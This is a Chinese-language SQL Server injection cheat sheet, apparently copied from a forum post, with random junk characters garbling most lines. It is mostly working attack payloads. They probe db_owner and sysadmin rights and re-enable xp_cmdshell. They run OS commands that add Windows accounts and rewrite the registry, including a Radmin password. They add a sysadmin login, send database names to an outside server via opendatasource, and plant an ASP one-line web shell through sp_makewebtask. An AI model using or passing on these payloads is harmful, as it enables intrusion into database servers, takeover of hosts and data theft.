//看看是什么权限的
/ I3 A+ q1 G {8 w: W9 Y6 ^, ~and 1=(Select IS_MEMBER('db_owner'))
* h' z* ?. {! K' B Y. \( ~And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--1 _9 G+ S% T5 {. w4 B( N' T5 g
% P: ?1 \7 e2 f4 \) M' a3 e//检测是否有读取某数据库的权限9 _$ p" \) C( b, W* f* [- C
and 1= (Select HAS_DBACCESS('master'))
% @0 G b4 I, t4 E8 z& s9 f/ FAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
* r2 {2 a D" s) F
. g. f0 l q, J* s7 U! V3 l. Y5 ?2 h) J
数字类型) | ~: b. A8 Y* u
and char(124)%2Buser%2Bchar(124)=0
2 B# ^3 W7 Z# ^, n+ k% m( C a
* Y/ w: ]9 `/ V# X# E字符类型
3 j8 |2 q. H9 f" H3 \' and char(124)%2Buser%2Bchar(124)=0 and ''='
k5 y/ C" A4 Z- S; c; M9 f$ v6 L9 ^* h/ C! f
搜索类型# O! E4 Y3 P" Z+ F4 e R
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
2 e- [3 H# {& U0 Z4 @% H! v7 j- ?6 [; T0 Z4 M& ]. M4 A! @# |" B
爆用户名7 \* [+ s- V- A+ g
and user>09 |1 o3 a9 x0 T; b, D% H5 ]
' and user>0 and ''='
+ `9 d3 O/ k* f$ J; S, k2 u; D: K1 N8 s" ^/ _2 S
检测是否为SA权限, ~0 Y2 I) j) U' o5 d' C
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--/ |# C6 K1 ^/ x, U$ X
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
# R5 a: y; v- g) V. u) G# H, [% |# X1 o! X
检测是不是MSSQL数据库' W4 }4 g) V* H r9 z! @
and exists (select * from sysobjects);--
; r5 H6 [+ M2 W2 @1 S* V4 [% g9 W) }+ |; \
检测是否支持多行
$ g. A* k# M6 r0 c! T;declare @d int;--7 L- y9 S6 ~0 B& x( v
' @5 z0 h4 r. V" a
恢复 xp_cmdshell
4 `8 W& d+ q$ f. L U;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--$ K' P+ D8 y* K+ t2 R
% a5 q+ m$ r2 A7 I# A4 H% y
# I% ?1 }; n) s, A$ cselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')7 d, A" t/ N% z; r, C& l$ @: v
* J( v$ a6 |8 d0 w//-----------------------# ^8 ]' h9 @( j9 ~; }/ S
// 执行命令9 u* ^) a% r3 `4 y1 z
//-----------------------
l( B' b+ J4 f. p( ~' R首先开启沙盘模式:, A/ p- Q5 ~6 e0 x7 U9 y U
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 M" x# W" h' m" r7 Q5 J8 C! c
: D2 i0 A$ B9 Q+ l+ O* P% f然后利用jet.oledb执行系统命令# Y6 m) m$ M* z4 x) N
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')8 _3 O( U( E4 {7 }' @" P. M* r! R
1 \% U8 f1 Q" P9 R8 x4 A
执行命令9 F1 j, h. r, K
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
5 J& y) \$ U/ I* A( u0 K" y8 E6 }' ] n' U2 K6 C2 I" _- f9 u+ r
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111', P( _$ d, R, z# L7 q
! W6 S, g7 U: Z5 v8 i( w判断xp_cmdshell扩展存储过程是否存在:
% X" O8 m( K: Qhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
) T: @9 E" d( b: F. n. S) L0 n- t$ B. U' m
写注册表9 Y6 p% L% V& L# j
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) X0 S, R7 [; e
% {3 [4 M3 [7 ?+ g2 P; LREG_SZ# v8 r$ G" v& n
# C/ [& Q" {6 \1 e4 ]! q; y
读注册表
" V% y& m2 c1 q2 @exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'/ s3 _* K& ^0 N7 s3 P0 K2 Y' ?+ H
, ?2 x$ E* F$ K' K7 x5 w
读取目录内容
( `2 a# @ [. q% r oexec master..xp_dirtree 'c:\winnt\system32\',1,16 }. d( Q3 u6 k7 i' \
) {) o' N) {8 U& Y! ?& N7 }
) j9 S# V1 L( s7 A6 i$ c数据库备份. {+ L3 P) B2 E4 T, J/ p& w
backup database pubs to disk = 'c:\123.bak'7 S0 |" R/ O- R: K" O7 [
E; ], y7 @4 |3 w% s e1 C
//爆出长度
$ Y6 d; @7 _! W* i6 wAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--+ n7 h0 n+ Z' h6 V$ T- a
0 ` L6 n& O) S0 s& M. G
, J& v! r4 J6 e- }4 m4 q2 u+ F6 C, v4 g
更改sa口令方法:用sql综合利用工具连接后,执行命令:
- D/ X- S2 `: b$ k0 l+ Fexec sp_password NULL,'新密码','sa'
0 T6 v: M3 N' J% u" V: \2 s' {9 x( V+ a
添加和删除一个SA权限的用户test:
5 c' C0 b* }" {' R0 n- jexec master.dbo.sp_addlogin test,9530772
) G. d l; r/ n' {' h& ]* g2 w( ~4 Eexec master.dbo.sp_addsrvrolemember test,sysadmin* K, {% p% V3 v* a) b
" e( ^- H" l3 S& s( ? H删除扩展存储过过程xp_cmdshell的语句:0 [* S) q+ h, C, E- Y/ `; x
exec sp_dropextendedproc 'xp_cmdshell'& b4 A5 I& R0 ?4 i' _' C5 n1 \. d! w
' \6 w& }4 e- \! X- m: p W添加扩展存储过过程
4 K8 t; W( e1 g8 j9 P& _5 @( SEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
4 G4 A5 n/ L/ XGRANT exec On xp_proxiedadata TO public8 m2 k7 B( E8 x2 J5 h
0 A. M: n. t# R- }" l6 y# v, t5 F
* L" A+ L( N6 h9 y停掉或激活某个服务。 |. Q1 T& G2 }% G$ S! a+ C2 d
( D6 K4 T. }7 p
exec master..xp_servicecontrol 'stop','schedule') [4 o2 E% R( ?7 U5 X: z
exec master..xp_servicecontrol 'start','schedule'
& w! x! {. ]' Y7 I6 _/ T* F
3 a) H7 v8 |5 Udbo.xp_subdirs
9 E4 h( t" f. N n) d: f7 L
* T# U+ I! U2 j: U8 w只列某个目录下的子目录。
3 Z0 `+ v% T. v3 e, O* wxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'- b9 G1 K) M' J9 r
! [, W+ q o3 C3 n, E4 Q' E
dbo.xp_makecab8 `3 e* l( W1 K. M' F! x* s
/ l: t! {! I6 K2 @4 x( A$ H将目标多个档案压缩到某个目标档案之内。
+ M! ^. x: }2 A所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
5 g+ J0 Z! r' o/ |- j6 [
/ w+ v8 {6 J/ k3 Y# _ Jdbo.xp_makecab
3 D ?6 S* z% S0 `. f'c:\test.cab','mszip',1,
$ d$ v- l( @4 t'C:\Inetpub\wwwroot\SQLInject\login.asp',
. u D0 Q6 |/ w1 ~8 W9 _: F! S'C:\Inetpub\wwwroot\SQLInject\securelogin.asp': r; i( T- {0 Y( r7 y
6 M. m+ u* d6 D6 w% e
xp_terminate_process1 w) {% y4 `2 E N
7 a: {; r$ Q. C5 e
停掉某个执行中的程序,但赋予的参数是 Process ID。
! M: A4 _6 S V: W* v利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID0 v; X5 q+ t( c; Z0 A5 G N) N( F) Z
6 Y6 }5 v' e( t; s2 \$ c! l# W4 @
xp_terminate_process 2484
4 g$ i7 ]; t2 T6 P7 O
9 y% z' g% D& K6 F; Yxp_unpackcab# o( I0 h& [6 U$ h7 n
; O4 E, @3 S+ e. X; P- ]$ r
解开压缩档。
. N. f9 o& v/ U/ C9 w0 q
9 e9 d0 e+ l% V' ]1 |0 }3 W* c5 `8 cxp_unpackcab 'c:\test.cab','c:\temp',1
8 H! H0 X( E; W! A# i
& d4 O/ ]# \0 {, p! X; X: F# a2 Z# s. t; t/ ~
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
8 ~0 I8 D; Z: U: `0 q: H# s1 X
0 d7 E: X: H/ c3 Q2 Dcreate database lcx;9 Z: J5 R6 B" {1 s
Create TABLE ku(name nvarchar(256) null);
" _0 ~1 e0 S, E3 e" M, t: VCreate TABLE biao(id int NULL,name nvarchar(256) null);8 w3 D& ~8 r8 u e) G* O
: L4 `$ o8 _& i9 m//得到数据库名+ k" ^6 ~6 P2 _1 v8 d" c+ I6 U
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases3 G. }1 @5 \* K# D
1 \% r4 a9 ^9 {
+ m; S2 R) q5 E( z+ s6 l! t8 K# g
//在Master中创建表,看看权限怎样
( n" q3 r/ J5 Z" a' Q8 z I+ FCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--$ W6 a# W% p% D4 y" F, g
* A0 x7 y* y" |+ N用 sp_makewebtask直接在web目录里写入一句话马:
+ {: L4 d8 P- k" s) P" Y" t N7 dhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--/ C7 U% u# H3 O7 v) l. d6 w
6 |6 `0 g; K6 e//更新表内容. `/ Y6 U/ Q- U1 ]4 \& J
Update films SET kind = 'Dramatic' Where id = 123
- k% k. d- g& o9 d' s6 U' |+ |5 H' u* H4 b: I
//删除内容
6 Z% z6 d6 E# z8 ~delete from table_name where Stockid = 3 |